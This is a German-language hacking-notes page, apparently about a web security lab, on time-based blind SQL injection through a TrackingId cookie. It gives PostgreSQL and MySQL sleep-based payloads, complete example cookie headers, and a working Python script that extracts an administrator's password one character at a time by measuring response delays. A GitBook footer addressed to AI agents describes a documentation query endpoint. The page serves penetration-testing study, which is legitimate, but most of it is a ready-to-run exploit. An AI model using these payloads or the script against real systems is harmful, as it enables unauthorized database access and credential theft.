> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# Zeitbasierte blinde SQL-Injection-Datenexfiltration

### Blinde SQL-Injektion mit Zeitverzögerungen und Informationsabfrage

Der Wert des `TrackingId` Cookie wird in eine synchrone SQL-Abfrage interpoliert. Ein bedingter Abbruch (`SLEEP` / `pg_sleep`) wird ausgelöst, wenn eine Aussage wahr ist; die Information wird durch Messen der Antwortzeit abgeleitet (d. h. Verzögerung bei wahrer Bedingung).

#### PostgreSQL

* Einfach 5 s schlafen:

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* Bedingt (prüfen, ob `username='administrator'` → 5 s):

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Passwortlänge testen = 20:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Zeichen testen bei `Pos` Position:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Postgres-Hinweis: Manchmal muss die `FROM` Position an die injizierte Anfrage angepasst werden; die obigen Beispiele sind gängige Muster.

#### MySQL

* Einfach 5 s schlafen:

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* Bedingt (Substring):

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* Länge testen = N:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condition, sleep(sec), 0)` ist die Standardform; verwende `SUBSTRING(...)` und `LENGTH(...)`.

***

### Konkrete Beispiele (vollständiger Cookie)

Angenommen `BASE=abc123` und Sitzung `'SESSION=XYZ'`.

* Postgres — Zeichentest pos=1 == 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — Zeichentest pos=1 == 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### Automatisches Python-Skript (korrigiert, an Postgres & MySQL anpassbar)

Dieses Skript misst die Latenz und rekonstruiert Zeichen für Zeichen. Parameter: `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` oder `'mysql'`), Alphabet, erwartete Verzögerung (`SLEEP_SEC`) und `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
Zeitbasierter Blind-SQLi-Extraktor (Postgres / MySQL)
Verwendung: TARGET, BASE_TRACKING, SESSION, DBMS konfigurieren, dann ausführen.
Nur in einer autorisierten Umgebung ausführen.
"""

import requests, time, string, sys, signal

# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # legitimer Teil der TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" oder "mysql"
SLEEP_SEC = 5                     # serverseitige Verzögerung ausgelöst
THRESHOLD = SLEEP_SEC - 1.0       # wenn Antwort > Schwellenwert => Bedingung ist wahr
ALPHABET = string.ascii_lowercase + string.digits  # bei Bedarf anpassen
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # Bedingung: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("Unsupported DBMS")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] Anfrage fehlgeschlagen, erneut versuchen oder Verbindung prüfen")
                sys.exit(1)
            # debug: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] Kein Zeichen an Position {pos} gefunden -> Ende wahrscheinlich")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nUnterbrochen. Beende.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] Starte Extraktion (zeitbasiert)")
    recovered = extract_password()
    print(f"/n[=] Wiederhergestelltes Passwort (teilweise/geschätzt): {recovered}/n")
```

* Für **Postgres**, `DBMS="postgres"`.
* Für **MySQL**, `DBMS="mysql"`.
* Reduziere `ALPHABET` Wenn du den Zeichensatz kennst (großer Vorteil).
* Passt an `MAX_LEN` / `SLEEP_SEC` je nach Ziel an.
* Abruf-/exponentielles Backoff-Management, falls erforderlich.

<figure><img src="/files/2ad089272778838001bdcfdd60587ccbb2e2d3d4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
